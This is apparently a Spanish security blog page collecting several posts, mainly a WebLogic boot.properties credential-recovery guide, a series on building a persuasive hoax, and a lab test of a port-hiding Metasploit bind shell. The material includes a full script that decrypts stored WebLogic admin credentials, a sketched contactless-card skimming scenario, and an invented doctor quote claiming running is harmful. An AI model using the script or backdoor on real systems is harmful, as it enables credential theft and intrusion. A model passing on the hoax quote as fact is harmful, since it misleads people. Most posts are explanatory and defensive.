Recuperación de contraseñas en Weblogic

Weblogic es una plataforma creada por Oracle en la que se integran varios productos de la misma familia, que tienen por objetivo ayudar a la gestión de procesos de las empresas que lo utilizan. Desde el punto de vista más técnico podemos decir que se trata de una plataforma basada en java EE y compuesta por servidores de aplicaciones, middlewares, servidores web, etc. que permiten gestionar la configuración de cada uno de ellos de una forma totalmente integrada. Para acceder a esta plataforma se requiere un usuario, el cual se crea durante la fase de instalación del producto. Este usuario permite configurar todos los componentes y complementos necesarios para cada caso.

Durante la instalación en modo desarrollo, es decir, previo a paso a producción, el asistente de configuración genera un archivo de identidad de arranque (boot.properties) necesario para la administración inicial del servidor. La cuestión es que este archivo contiene el nombre de usuario y la contraseña del usuario administrador, aunque de forma cifrada.

Una vez establecidos el usuario y la contraseña, se puede ver cómo quedan guardados:

En este fichero, a simple vista, se puede observar que se almacenan las credenciales de forma segura. A pesar de ello, debemos saber que si un usuario malintencionado o intruso accediera al sistema donde reside, podría obtener los credenciales en claro.

Los pasos que se tendrían que realizar desde el propio sistema son los siguientes:
1.- Acceder al directorio [FMW_HOME]/wlserver_XX.Y/server/bin/
2.- Ejecutar el script setWLSEnv.sh para configurar las variables del entorno.
3.- Descargar el script en python (jython) decrypt.py y ejecutarlos de la siguiente manera:

~$ java weblogic.WLST decrypt.py

Ejemplos:
Obtener el password:

~$ java weblogic.WLST decrypt.py /opt/oracle/Middleware/user_projects/
      domains/base_domain {AES}TV0pZXXXXXXXXXXXXXXXXXXXXXXXXXXXXXFjI6/zM\=

Initializing WebLogic Scripting Tool (WLST) ...

Welcome to WebLogic Server Administration Scripting Shell

Type help() for help on available commands

RESULT: micontrasenyacifrada

Obtener el usuario:

~$ java weblogic.WLST decrypt.py /opt/oracle/Middleware/user_projects/
     domains/base_domain {AES}MhcB2XXXXXXXXXXXXXXXXXXXXXXXXXXXXXFGHi5/jI\=
Initializing WebLogic Scripting Tool (WLST) ...

Welcome to WebLogic Server Administration Scripting Shell

Type help() for help on available commands

RESULT: miusuariocifrado

En este caso, es importante eliminar el fichero una vez hayamos terminado de parametrizar el servidor en modo desarrollo. De esta forma nos evitaremos que caiga en manos de quien no debe.

decrypt.py

#============================================================================= 
# Jython Script for displaying de-crypted WebLogic boot.properties files 
# 
# To run, change to a WebLogic domain directory and execute: 
# 
# 
# Add parameter '-?' to the end of the command line to display more help 
#============================================================================= 

import os 
from java.io import FileInputStream 
from java.util import Properties 
from weblogic.management import EncryptionHelper 
from weblogic.security.service import SecurityManager 
from weblogic.security.subject import SubjectManager 

#============================================================================= 
# Main 
#============================================================================= 
def main(): 
#for arg in sys.argv: 
# if arg.count(arg.strip()): 
# printUsageAndExit() 
saltFilePath=os.path.join('security', 'SerializedSystemIni.dat') 
if not os.path.exists(saltFilePath): 
print "Error: The script must be run from a WebLogic domain direcotry or 
    a directory containing '%s'" % saltFilePath 
printUsageAndExit() 
try: 
open(saltFilePath, 'r').close() 
except IOError: 
print "Error: The file '%s' is not readable - check file permissions" % saltFilePath 
printUsageAndExit() 
processBootFiles(os.curdir, descryptPropsFile) 

#============================================================================= 
# Decrypt (Note, to encrypt just use: EncryptionHelper.encrypt(text)) 
#============================================================================= 
def decrypt(text): 
getKernelIdMethod = SecurityManager.getDeclaredMethod('getKernelIdentity', None) 
getKernelIdMethod.accessible=1 
return EncryptionHelper.decrypt(text, getKernelIdMethod.invoke(SecurityManager, None)) 

#============================================================================= 
# Process Boot Files 
#============================================================================= 
def processBootFiles(rootPath, processFunc): 
if not os.path.isdir(rootPath): 
return 
fileNames = os.listdir(rootPath) 
for fileName in fileNames: 
path = os.path.join(rootPath, fileName) 
if os.path.isfile(path): 
if fileName == 'boot.properties': 
processFunc(path) 
elif os.path.isdir(path): 
processBootFiles(path, processFunc) 
processFunc("./boot.properties") 

#============================================================================= 
# Decrypt Props File 
#============================================================================= 
def descryptPropsFile(filepath): 
print 
print '----- Decrypting %s -----' % filepath 
try: 
properties = Properties() 
file = FileInputStream(filepath) 
properties.load(file) 
file.close() 
for entry in properties.entrySet(): 
print '%s = %s' % (entry.key.strip(), java.lang.String(decrypt(entry.value.strip()))) 
except IOError: 
print "Error: Unable to read file '%s' - check file permissions" % filepath 
print 

#============================================================================= 
# Print Usage And Exit 
#============================================================================= 
def printUsageAndExit(): 
print 
print 'wlsdecrypt.py' 
print '-------------' 
print 
print "Jython Script for displaying de-crypted boot.properties files from a 
    WebLogic domain. Before running the script, change directory to the directory 
    that contains a WebLogic domain (or a directory containing 'security/
    SerializedSystemIni.dat' and one or more associated 'boot.properties' files). 
    Run this script via WLST or directly via the Java/Jython launch command (the 
    latter option requires both 'jython.jar' and 'weblogic.jar' to be added to 
    the classpath)." 
print 
print 'Example Usage:' 
print 
print '> /opt/weblogic/wlsadm/weblogic92/common/bin/wlst.sh ~/home/chordadm/
    wlsdecrypt.py (Unix)' 
print 
print '> C:\\bea\\weblogic92\\common\\bin wlst.cmd C: myscripts 
    wlsdecrypt.py (Windows)' 
print 
exit() 

# 
# Invoke main and end 
# 
main()

Fabricando un hoax

Ya dijimos en el anterior post de la serie que íbamos a fabricar un hoax; lo primero que queremos hacer es tocar la fibra sensible. ¿El dinero? No, la salud :) Queremos convencer a nuestros objetivos que correr más de diez kilómetros al día es perjudicial para ellos, aplicando algunas técnicas de persuasión sobre esta idea…

La primera, autoridad: que correr es malo no lo digo yo, que no me gusta el deporte, sino que lo dice un afamado médico especializado en la materia: el Dr. James Hetfield (que en sus ratos libres canta en un grupo amateur que está empezando en esto de la música y se llama Metallica… no sé si con ese nombre triunfarán algún día ;).

Este médico, que es el que opina que correr más de diez kilómetros al día es perjudicial para la salud, trabaja en un centro de reconocido prestigio como el UPMC (University of Pittsburgh Medical Center), un centro estadounidense real y, por lo que parece, de lo mejorcito en Medicina del Deporte (Google says). Estas son sus palabras iniciales:

El Dr. James Hetfield, del University of Pittsburgh Medical Center, ha realizado las siguientes declaraciones:

“El hecho de que un ser humano corra más de diez kilómetros al día no sólo es perjudicial para su estado físico de salud inmediato —cansancio extremo, agujetas, tirones…— sino también para su salud a medio o largo plazo. Desde que abandonamos las cavernas y nos adaptamos a una vida sedentaria, el ser humano está preparado para caminar pequeños tramos -menos de cinco kilómetros es la distancia asumible- y, en ningún caso, para desplazarse a una velocidad significativa más de diez kilómetros. Distancias superiores tendrán un efecto negativo en la salud del individuo que no podrá ser tratado de forma alguna con el conocimiento médico actual”.

[Read more…]

Un hoax

Hablábamos en el anterior post de la tecnología persuasiva; veamos cómo un hoax simple y conocido por casi todos usa diferentes técnicas de las que comentábamos en ese post. Podemos utilizar como ejemplo un bulo que lleva circulando años a través del correo electrónico y que incluso a día de hoy sigue recibiendo un número considerable de gente (yo lo recibí por última vez hace unos meses, gracias a una amiga que se encarga de propagar este tipo de bulos): el de la donación urgente de sangre en cierto hospital, con las diferentes mutaciones que ha sufrido a lo largo del tiempo y que incluso ha obligado a hospitales reales a desmentir oficialmente la información. Viene a ser algo como lo que pone en el enlace anterior:

MENSAJE URGENTE DESDE EL HOSPITAL UNIVERSITARI I POLITÈCNIC  LA FE DE VALENCIA
Si conocéis a alguien que tuviera el grupo sanguíneo AB dispuesto a donar sangre, decidlo. En el Hospital Universitario La Fe de Valencia hay un niño de 10 años ingresado con LEUCEMIA que necesita urgentemente unos 12 donantes. Este grupo sanguíneo (AB) es bastante raro, de ahí el hecho de la falta de donantes. Los médicos anuncian que si los encontraran sería muy posible salvarla vida de este niño. Por favor, reenvía este correo a quien conozcas. El teléfono de la madre (María Ángeles 963XXXX).

 
En estas pocas líneas podemos identificar algunas técnicas de persuasión de las que hemos visto en el post sobre tecnología persuasiva:

  • Respaldo de terceros. El mensaje viene de un hospital reconocido, al que además se cita con su nombre “largo” para darle un toque de oficialidad (nadie llama a este hospital “Universitari i Politècnic”; creo que todo el mundo le llama simplemente “La Fe”).
  • Autoridad. Como el mensaje viene de quien viene, asumimos como cierto que el grupo sanguíneo AB es bastante raro.
  • Experiencia y conocimiento. Los médicos opinan que si encontraran a estos donantes podrían salvar la vida al niño (esto acompañado del respaldo del hospital lo hace todavía más creíble).
  • Acercamiento al mundo real. El bulo proporciona incluso el nombre y teléfono de la madre para acercarnos a su situación y convencernos de la veracidad de lo que estamos leyendo.
  • Sugestión. El propio mensaje nos solicita reenviar el bulo a quien conozcamos, siempre en favor del niño.

Esto sin contar el que este hoax nos toca la fibra sensible: un niño tiene un problema muy grave -LEUCEMIA, en mayúsculas, podemos verlo incluso sin leer el cuerpo completo del bulo, lo que a cualquier persona le preocupa y le invita a reenviar este mensaje en beneficio del supuesto niño enfermo…

Evidentemente, hay bulos más desarrollados que utilizan más técnicas que las anteriores (Hotmail será de pago, lo dice el presidente de Microsoft), incluso incorporando material gráfico que acerca a la víctima a reenviar, en estos casos, el correo (la típica foto del perrito abandonado que busca urgentemente una familia porque si no será sacrificado) o tocando directamente nuestra fibra sensible (como el que hemos puesto aquí, o aquel otro en el que Bill Gates iba a donar X dólares por cada click en un enlace o cada reenvío del bulo).

No vamos a entrar ahora en analizar los hoaxes ni las formas de identificarlos; vamos a fabricar uno nosotros mismos, a ver si somos capaces de incorporar técnicas persuasivas para que lo reenviéis cuando os llegue :) Buscamos algo absurdo, evidentemente, algo que no haríamos en circunstancias normales y que, si nos convencen bien de ello, haremos sin dudar. Algo generalista, que no esté restringido a unas pocas personas… Nada por tanto tecnológico, ni mucho menos de seguridad o cosas que sólo nos afectarían a unos cuantos (y que en este caso somos los que a priori menos picaríamos en ello)… Algo relativo, por ejemplo, a eso que ahora está tan de moda de correr sin motivo aparente (ni detrás ni delante de algo o alguien): fabriquemos un hoax de maratones para convencer a la gente de que correr es malo…

Tecnología persuasiva

Hace unas semanas tuve la oportunidad de asistir a una charla sobre persuasive programming, un término que hasta ese momento desconocía, pero que simplificando mucho -y resumiendo lo que entendí, que no fue todo-, consiste en el desarrollo de aplicaciones que modifiquen el comportamiento del usuario, persuadiéndole para que ejecute determinadas acciones: vamos, cosas más allá del típico “Aceptar-Cancelar” que todos supongo que incluiríamos en un popup para que el usuario elija qué opción prefiere…

El caso es que esto del persuasive programming me llamó la atención (por motivos que luego comentaré) y googleando un poco acabé conociendo términos como captology o similares, y descubriendo que alrededor de lo que denominan tecnología persuasiva había todo un mundo en el que se cruzaba la tecnología con la psicología, con el objetivo de generar desarrollos, dispositivos, interfaces, etc. que tratan de cambiar actitudes o comportamientos de las personas para conseguir que éstas hagan lo que nosotros queremos que hagan…

¿Cuáles son las estrategias de persuasión? En la charla hablaban de unas cuantas (no sé si hay más):

  • Automonitorización, proporcionando mensajes al usuario -no tienen por qué ser ciertos- acerca de su comportamiento y no del de otros, de forma que le resulten más cercanos: “Tú has violado la política de seguridad tres veces esta semana y diez veces este mes”.
  • Simulación, transmitiendo al usuario el resultado que se produciría si elige la opción que no queremos que elija: “Sé consciente de que si violas la política de seguridad se puede producir un robo de información, y eso es muy caro”.
  • Alabanza, haciéndole ver lo positivo que sería que escogiera una determinada alternativa de las que puede elegir: “Si tu opción pasa por cifrar los datos, serás un empleado ejemplar”.
  • Recompensa, proporcionando “premios” si el usuario tiene un determinado comportamiento: “Si trituras la documentación confidencial antes de reciclarla, Seguridad te dará 0,01 euros por folio.
  • Recordatorios, instando al usuario a que haga o deje de hacer una cosa: “Recuerda que debes leer un libro de seguridad diferente cada mes”.
  • Sugestión, transmitiendo al usuario directamente lo que creemos que debe hacer: “Seguridad te recomienda elegir la opción A porque será mejor para todos”.
  • Rol social, denotando proximidad a la persona que debe tomar la decisión: “Soy Paquito, tu asistente virtual personalizado para ser seguro… ¿En qué puedo ayudarte?”.
  • Experiencia, convenciendo a la persona de que sabemos mucho de un tema para que confíe en nosotros: “Este consejo lo ha proporcionado Bruce Schneier, una de las personas del mundo que más sabe de seguridad”.
  • Acercamiento al mundo real, para que el usuario se identifique con un determinado mensaje o vea que detrás de un correo o de una aplicación hay personas de carne y hueso: “Si tienes cualquier problema de seguridad, te puedo ayudar: envíame un correo a mi dirección, pepe@example.com, y te llamaré enseguida”.
  • Autoridad, transmitiendo -algo parecido a la experiencia, a la que hemos hecho referencia- que sabemos mucho de un tema para que el usuario haga lo que queremos de él: “Todas las personas inteligentes han pinchado sobre este enlace. Pepito Pérez, CSO de la NASA”.
  • Respaldo de terceros, haciendo ver a nuestro usuario que alguien de confianza apoya nuestra alternativa: “El sistema obliga a cambiar la contraseña cada tres meses. Este sistema ha sido certificado por la NSA y la CIA lo revisa cada dos semanas”.
  • Comparativa social, haciendo que el usuario se dé cuenta de cuál es la opción que queremos que elija porque es la mejor para la mayoría de gente: “El 90% de nuestros empleados usan este programa de cifra. Puedes ver sus experiencias en la intranet corporativa”.
  • Cooperación, facilitando que un tercero dé apoyo al usuario para que ejecute lo que nosotros queremos: “Pregúntale a cualquier compañero como actuar ante el robo de un portátil”.
  • Competición, convenciendo al usuario de que será mejor que los demás si elige una alternativa determinada: “Sé más seguro que los demás cifrando tu teléfono móvil (y participa en el sorteo de un aifon promocionado por Seguridad)”.
  • Reconocimiento, proporcionando al usuario una relativa distinción si hace lo que nosotros deseamos: “Bloquea tu sesión cuando te ausentes del puesto de trabajo y serás EMPLEADO DEL MES”.

Evidentemente, todas las estrategias anteriores se pueden usar por separado (no hay que aplicar todas a la vez, ya que si lo hiciéramos el pobre usuario se volvería loco) y también combinar para lograr nuestro objetivo: convencer a una persona de que realice una determinada acción, que evidentemente es la que a nosotros nos interesa. En definitiva, persuadiéndolo y convenciéndole de que lo que va a hacer es lo mejor, sea esto cierto o no.

Pero, ¿por qué hablamos de programación o tecnología persuasiva en un blog de seguridad? Muy sencillo: lo primero que se me iba ocurriendo al escuchar la charla y las diferentes estrategias de persuasión que puede usar una aplicación, una web, un sistema… para convencernos de que hagamos algo era aplicar esas mismas estrategias al ámbito de la seguridad, por ejemplo para realizar ataques de ingeniería social. Fabriquemos un bulo, un hoax, y convenzamos a la gente de algo que nosotros queremos transmitiéndoles que es lo correcto para ellos; evidentemente ese hoax puede ser inocuo o estar relacionado con un ataque más severo, de ingeniería social dura, volviendo a la primera idea :)

Algunos problemillas con IPv6

(N.d.E. Hoy tenemos una entrada de Vicente Dominguez, un viejo amigo que hace algún tiempo que decidió comenzar una aventura por su cuenta, que esperamos que le vaya muy bien :)

Después de dar con la entrada de Nacho del mes pasado me fue inevitable eludir mi desviación profesional después de años y años trabajando en un centro de datos y recordé el sobre-esfuerzo que requiere la adaptación a la version 6 de IP para una mente humana que viene de la version 4.

Además de los magníficos problemas que en recursos requiere los 128 bits por cada dirección en su enrutado, las complicaciones para los IDS en recursos y firmas y el mal manejo de algunas utilidades de toda la vida, están los que yo sufrí: los de la mente humana. Éstos lo dejo para el final.

[Read more…]

Las tarjetas Contactless… ¿Seguras?

Recuerdo cuando en el primer día de rebajas decidí salir con mi mujer de compras por el centro; sí, lo sé, es de locos, pero qué queréis que os diga, me gusta el riesgo, pero esa no es la cuestión, así que intentaré no desviarme del tema.

Cuando me disponía a realizar el pago de mi primera compra, la tarjeta falló; no leía el chip. La dependienta volvió a pasarla un par de veces más por el datafono sin éxito, hasta que por fin consiguió leerlo. Esto me sucedió en alguna ocasión más, incluso en una tienda el terminal no fue capaz de leer ni el chip ni la banda magnética de la tarjeta. Me tomé un momento en inspeccionarla detenidamente y vi que estaba demasiado rayada y en mal estado, dicho en otras palabras, mi tarjeta estaba pidiendo a gritos la jubilación.

Aunque no estaba muy lejos de caducar (aproximadamente 8 meses) lo mejor era cambiarla, así que una tarde al salir del trabajo decidí acercarme a mi sucursal bancaria con la intención de solicitar una nueva.

Cuando entré, me fui directo a una de las mesas para comentarles el problema que había tenido para que los terminales de las tiendas leyeran el chip de mi tarjeta y que era necesario que me la cambiaran. La persona que me atendió, muy amablemente me dijo:

-“¿Quieres una Contactless? Es muy cómoda y segura, además se conservan muy bien, no se te rayará tanto y no te dará problemas al ir a pagar.”

En ese momento se me escapó una sonrisa, quizá no debí hacerlo, pero no pude evitarlo. Es cierto que las tarjetas contactless tienen sus ventajas:

  • Mayor comodidad. Al no tener que sacarlas de la cartera, resultan más cómodas para realizar pagos.
  • Menos desgaste de la tarjeta. No hace falta pasarlas por el datafono por lo que el plástico se mantiene intacto.
  • Mayor rapidez para realizar las compras. Si el importe es menor de 20€ no hace falta introducir el PIN.

Con que le hubiera dicho que no me interesaba la tarjeta, habría sido suficiente y ahí habría acabado todo, pero ya que me habló de sus ventajas como algo extraordinario, quise ahondar en la herida y preguntar un poco más acerca de la seguridad de una de sus “ventajas”.

Pagos por importe inferior a 20€ sin necesidad de introducir el PIN.

Esta forma de pago ha despertado mucho recelo entre sus usuarios y presenta ciertas dudas, ya que si perdemos la tarjeta o somos víctimas de un robo, podrían utilizarla sin ningún impedimento siempre que no pasaran de 20€.

Sobre esta cuestión me respondió que el banco disponía de controles que permitían saber si una tarjeta está realizando operaciones de forma irregular sabiendo el comportamiento normal del cliente.

Vale, de acuerdo, entonces si alguien me roba la tarjeta y empieza a comprar como un loco, el banco tarde o temprano se dará cuenta y en teoría me devolverá el dinero, pero ahora pongamos otro caso totalmente distinto.

¿Y si alguien con un datáfono contactless portátil preparado para realizar un cargo de 19,95€ se fuera a una gran superficie como por ejemplo el corte inglés?

Es verdad que para que la tecnología contactless funcione, la tarjeta debe estar como máximo a 3 cm del terminal y se ha mantener durante un segundo frente a él. Pero escondido en un chaquetón y pasándolo disimuladamente a través de los bolsos, solo sería cuestión de tiempo que cazara alguna tarjeta y pudiera realizar el cargo sin que la persona se diera cuenta.

Un solo cargo de 19.95€ en nuestra cuenta puede que pase en la mayoría de los casos desapercibido, sobre todo si no hemos perdido la cartera ni hemos sido víctima de un robo.

Ante esta situación la persona del banco ya no supo qué responderme, no se le había ocurrido poner ese escenario encima de la mesa. Que seas víctima de un fraude sin que te hayan robado, ni clonado la tarjeta es cuanto menos para ser cauteloso y tomar todo tipo de precauciones.

Supongo que los bancos se habrán puesto manos a la obra para garantizar que esto no ocurra, pero por el momento sigo teniendo ciertas reticencias a la hora de utilizar esta tecnología para realizar pagos.

Vigilando los cambios en el registro de Windows

De cara a conocer los cambios que sufre nuestro sistema Windows, especialmente cuando no somos conscientes de dichos cambios como sucede con el caso del Malware, voy a proponer el uso de ARM (Active Registry Monitor). De sobra es sabido que el malware realiza cambios en el registro de los sistemas Windows y ARM sirve concretamente para identificar los cambios que haya sufrir el mismo. Esta aplicación no analiza el registro en tiempo real sino que estudia los cambios entre copias del registro realizadas en distintos momentos.

Con la finalidad de aprender a utilizar ARM vamos a realizar este ejercicio práctico:

Para comenzar a trabajar, lo primero que hay que tener es una copia del registro de nuestro sistema Windows (En este caso será Windos XP SP3 64b). Como ARM se encarga muy bien de esta tarea, ejecutaremos la herramienta y estableceremos la primera copia haciendo clic el botón scan del menú de herramientas:

[Read more…]

Crónica Rooted CON – Día 3

Post escrito en colaboración con Manuel Bermúdez Casado.

El tercer y último día de la Rooted empezó con una interesante charla de Manu Quintans (@Groove) y Frank Ruiz (@francruar) “50 shades of crimeware” que trataba sobre las nuevas técnicas de robo de tarjetas. Contaron cómo los criminales se organizan, venden malware y números de tarjetas. Profundizaron en los nuevos tipos de malware especializados en TPV y como este malware es capaz de infectar un TPV de cualquier establecimiento y enviar directamente los datos de las tarjetas a Internet.

Seguidamente, la ponencia “Profundizando en la seguridad de la aviación” nos mostró las nuevas investigaciones de Hugo Teso (@hteso) sobre la seguridad en la aviación. Hugo Teso lleva unos años investigando sobre la seguridad en aviones comerciales. Nos explicó que los aviones disponen de diferentes ordenadores y nos mostró cómo éstos se actualizan en ocasiones por medios inseguros como redes Wi-Fi o 3g. Esta charla dejó de manifiesto la poca atención que se presta en temas de seguridad informática en la aviación. Aunque sus investigaciones no han sido probadas en entornos reales por los peligros que esto conlleva, sí que se han realizado pruebas con drones, simulando casi a la perfección entornos reales.

Tras un pequeño descanso los ponentes José Pico y David Pérez, cofundadores de la empresa layakk, (@layakk) exponen un tema desconocido para muchos: “atacando 3G”. A través de una meticulosa investigación y una gran explicación con muchos detalles técnicos relatan las inseguridades de la comunicación por UMTS, o tecnología 3G. A pesar de que esta tecnología es mucho más segura que la tecnología 2G anterior, sigue heredando las deficiencias de GSM, por lo tanto forzando a que el usuario solo use 2G, se puede volver a conseguir efectuar diversos ataques como denegación de servicio o la localización de un dispositivo (si el atacante se encuentra en un radio no mayor a 3 km) o la interceptación de la comunicación.

En la siguiente charla Handware hacking: Si hay un ‘input’ hay peligro” Borja Berástegui (@Bberastegui) nos muestra cómo acceder a los sistemas operativos de los paneles de información que se encuentran expuestos al público. Estos paneles son cada vez más populares y están localizados en multitud de lugares públicos como aeropuertos y oficinas de turismo. Los paneles disponen de una pantalla táctil y una aplicación que corre a pantalla completa impidiendo así que cualquier usuario pueda acceder al sistema operativo. Las técnicas de Borja Berástegui consisten en provocar excepciones en la aplicación para acceder al sistema.

Después de comer Juan Vázquez(@_juan_vazquez_) y Julián Vilas (@julianvilas) con su ponencia “Tú a Boston Barcelona y yo a California Tejas. A patadas con mi SCADA!”, explican las deficiencias en la seguridad de sistemas críticos SCADA y PLCs. Muchos de estos sistemas de carácter industrial se implantan en zonas de vital importancia como el sector energético, por ejemplo. En este caso la demostración se hace emulando el modelo del fabricante yokogawaCETUM CS 3000 R3. Sistemas donde se usan versiones del sistema operativo Windows XP SP2 o en algunos casos incluso Windows 2000, con fallos en las configuraciones como directorios compartidos con todos los permisos, firewalls desactivados, vulnerables a varios tipos de exploit. Para terminar se hace una demostración usando metaexploit sobre uno de estos sistemas.

Seguidamente Aladdin Gurbanov, en su ponencia “Magnetic Road” nos enseña la facilidad para clonar tarjetas con banda magnética. Lo hace de una manera divertida y amena y además su acento ruso y los vídeos que expone grabados con su propio móvil, en situaciones cotidianas (pagando el desayuno o el parking con una tarjeta clonada), consiguen hacer sonreír a todos los asistentes. Aladdin explica la facilidad que existe para comprar un clonador de tarjetas ya que se puede conseguir en ebay por unos 50 euros. Incluso las pegatinas holográficas de las tarjetas bancarias se pueden pedir a China por un precio muy barato. En conclusión la falsificación de tarjetas es un juego de niños.

Tras un pequeño descanso Raúl Siles (@dinosec) continúa deleitándonos con los fallos de seguridad de los sistemas IOS, este año con la ponencia “iOS: Regreso al futuro”. Raúl pone en entredicho el sentido de las actualizaciones obligatorias en un sistema IOS, donde explica la manera de evadir esas actualizaciones. Referenciando la película “Regreso al futuro”, hace un símil con la manera de engañar a un dispositivo, y hacerle creer que ya está actualizado cuando en realidad no lo está. Esto plantea inseguridades tan relevantes como, por ejemplo, el poder aprovechar un fallo de seguridad en un dispositivo por no estar actualizado desde hace mucho tiempo; y el usuario ni siquiera lo sabe porque su propio dispositivo le indica que si lo está. Para ello Raúl usa un script hecho en python llamado Iproxy con dos técnicas, una temporal y otra persistente, llamadas “StarWars” y ”Matrix”. A pesar de que estos fallos han sido reportados a Apple, no hay confirmación de su solución a día de hoy.

La última ponencia del día fue a cargo de Jaime Sánchez (@segofensiva) y Pablo San Emeterio (@psaneme), la charla “WhatsApp: mentiras y cintas de video” trataba sobre las inseguridades de WhatsApp, Snapchat y Viber. Sobre WhatsApp cabe destacar la inseguridad en sus comunicaciones y lo fácil que es suplantar la identidad en diferentes mensajes. Snapchat es una aplicación muy usada en EEUU y consiste en compartir imágenes con otros usuarios. En la investigación de esta aplicación Jaime Sánchez y Pablo San Emeterio demostraron cómo se podía suplantar la identidad de los usuarios, llegando incluso a suplantar la identidad del propio CEO de Snapchat.

Por último y ya que se cumplía el quinto aniversario de la Rooted se repartieron premios a los ponentes mejor valorados:

NighterMan (muy recomendable su charla Live Free or Die Hacking de la Rooted de 2012).
2º David Pérez y José Picó
3º Raúl Siles
4º Juan Antonio Calles y Pablo González
5º Roberto Baratta

Bind Shell ocultas

Para poder realizar una gestión adecuada de la seguridad de una empresa u organización, es imprescindible disponer de un inventario detallado de los activos conectados a la red así como de todos los servicios que éstos ofrecen. De este modo, en caso de detectar un activo o servicio desconocido, se debe averiguar su origen y evaluar si supone una amenaza para la organización.

Es recomendable habilitar sólo aquellos servicios que sean estrictamente necesarios para el funcionamiento de los sistemas y aplicaciones. En caso de equipamiento que esté expuesto en zonas DMZ o que deban ser accedidos desde Internet, se deben tomar medidas adicionales de protección asegurando previamente un bastionado de los equipos y limitando el acceso desde la red origen concertada.

Muchos troyanos utilizan habitualmente los mismos puertos, lo cual no significa que se tenga una infección de malware si se encuentra alguno de esos puertos abiertos, pero si ese puerto no es habitual que se use en una organización y de repente se detecta abierto nos debería generar una alerta para revisarlo cuanto antes. Una revisión periódica de los servicios ofrecidos al exterior podría ayudarnos a la hora de detectar un posible ataque, sea a través de un intento de explotación de una determinada vulnerabilidad, conexiones remotas no autorizadas, malware, exfiltración de datos o similar.

Como ya se publicó en el informe “Detección de APTs” (páginas 122 y siguientes), existen diferentes técnicas que una organización puede utilizar para llevar a cabo esa revisión periódica de servicios/puertos abiertos que se encuentren accesibles desde redes externas. Algunas de ellas son las siguientes:

  • Preprocesador para Snort: Passive Port Discovery: Es posible desarrollar un preprocesador para un IDS basado en Snort que nos permita alertarnos de nuevos equipos y nuevos servicios, tras analizar el tráfico de una red previamente conocida.
  • Monitorización de servicios sospechosos utilizando la herramienta Nessus: Como se explica en el informe “Detección de APTs” se puede configurar Nessus para que de manera diaria, semanal, mensual, etc. nos escanee nuestra red en busca solo de equipos levantados/puertos abiertos -se puede configurar para que no lance ningún plugin de forma que sea lo menos intrusivo- nos busque las diferencias entre un informe y otro y nos alerte al correo, por ejemplo. La opción de pago de Nessus permite la opción “Compare (Diff Results)” que nos compara entre dos informes de resultados y nos muestra las diferencias, sin embargo, también podemos ingeniárnoslas para comprobar la diferencia entre dos informes sin necesidad de tener la versión “pro” de esta herramienta.
  • Detección de servicios sospechosos con Nmap: Tal y como indicamos también en el informe mencionado anteriormente, también podemos ver que con Nmap y Ndiff podemos analizar de manera periódica nuestras redes y que nos alerten de posibles servicios sospechosos detectados o de servicios que inicialmente estaban disponibles pero han dejado de estar levantados.

Pero, ¿qué ocurre cuando, usando las técnicas de escaneo descritas anteriormente, somos incapaces de detectar un puerto a la escucha cuando realmente sí que lo está? Me hice esta pregunta tras leer recientemente un post en “Shell is coming…”, en el que Borja Merino publicaba una versión modificada de la bind shell “shell_bind_tcp” (incorporada en Metasploit), que él ha denominado “Hidden Bind Shell”. Dicho esto payload es una versión mejorada sobre otro payload que Borja también publicó anteriormente denominado ACL Bind Shell y que únicamente supone un incremento de unos 30 bytes.

El objetivo de la “hidden bind shell”, tal y como se describe en el blog, es crear una bind shell que responda paquetes RST ante cualquier intento de conexión originado desde una IP diferente a la embebida en el propio payload. De esta forma, cualquier herramienta que trate de escanear el equipo comprometido mostrará como CLOSED el puerto asociado al shellcode.

Para probar el funcionamiento de esta bind shell me he bajado el payload del pull request lanzado a Metasploit y me he creado una “hidden bind shell” que he denominado “backdoor_oculto.exe” y que solo será visible/accesible a través de la IP 192.168.1.2 en el puerto 1024:

Tras ello, en mi entorno de laboratorio voy a comprometer la máquina 192.168.1.46 ejecutando mi “backdoor_oculto.exe” en la misma. Si, como vemos a continuación, intento escanear vía Nmap mi máquina comprometida desde una IP diferente a la 192.168.1.2, en este caso me he puesto la IP 192.168.1.11, el resultado que me da en el puerto 1024 es que está cerrado (CLOSED). Cambiando mi IP a la del ‘atacante’ (192.168.1.2) comprobamos, tras hacer la misma operación, que en este caso el puerto 1024 aparecen como OPEN a ojos del atacante y el mismo puede obtener una shell en dicho equipo comprometido:

Un IDS bien configurado con las firmas adecuadas detectaría probablemente cuándo ha habido una conexión a esa bind shell por parte del atacante, sin embargo, no se me ocurre, utilizando las tradicionales técnicas de escaneos preventivas expuestas anteriormente (nessus, nmap, etc.) cómo detectar que ese puerto está a la escucha en mi equipo (si se os ocurre alguna por favor compartidla :) ). De hecho, he probado diversos escaneos con Nmap, con diferentes opciones de escaneo [1] y los resultados siempre han sido los mismos, como se muestra a continuación:

Una forma que podría ser viable para detectar los puertos “sospechosos” que están a la escucha sería de forma LOCAL en mis máquinas, ejecutando de manera periódica “netstat” en cada una de las máquinas de nuestra red, almacenando los resultados y comparando los mismos de un escaneo a otro para que nos alerte cuándo aparece un nuevo puerto a la escucha y que antes no lo estaba, para que podamos investigar el motivo por el que ahora se encuentra de esta forma. Este proceso puede ser muy lento si tenemos que ir equipo por equipo ejecutando netstat así que, dependiendo de la infraestructura que exista o diseño de la red podemos pensar en automatizar este proceso.

Por ejemplo, si nuestras máquinas forman parte de un Active Directory (AD) por el que podemos administrar de manera centralizada los equipos, inicios de sesión, establecer políticas a determinadas unidades organizativas (ou), grupos de usuarios, desplegar programas en muchos equipos a la vez, etc. Tal y cómo se explicó en el post “Recolección distribuida de IOCs”, podemos valernos de diversos métodos que podemos implementar con dicho AD para automatizar el proceso de ejecución de un script en varias máquinas a la vez de manera periódica. Powershell podría ayudarnos a elaborar un script de estas características, por ejemplo podríamos apoyarnos para realizarlo en la función Get-NeworkStatistics desarrollada por Shay Levi. La idea más simple por ejemplo -grosso modo- sería partir de un fichero origen en el que estuvieran todos los puertos que se supone que una determinada máquina debe tener a la escucha, ejecutar nuestro script por el que se obtengan vía netstat todos los puertos en LISTENING, y cuyo resultado sea volcado en un fichero. Este fichero se compararía con el original y en el caso de que se detecte un puerto nuevo a la escucha que nos notifique de la forma que le indiquemos. Finalmente, tras acabar el proceso de notificación, que se elimine el nuevo fichero creado. Comentar que, en caso de que aparezca un nuevo puerto cuyo estado no sea LISTENING sino que tiene establecida una conexión, no nos alertaría, pero en ese caso, si tenemos un IDS con las firmas adecuadas nos alertaría probablemente.

[1] Recordatorio:

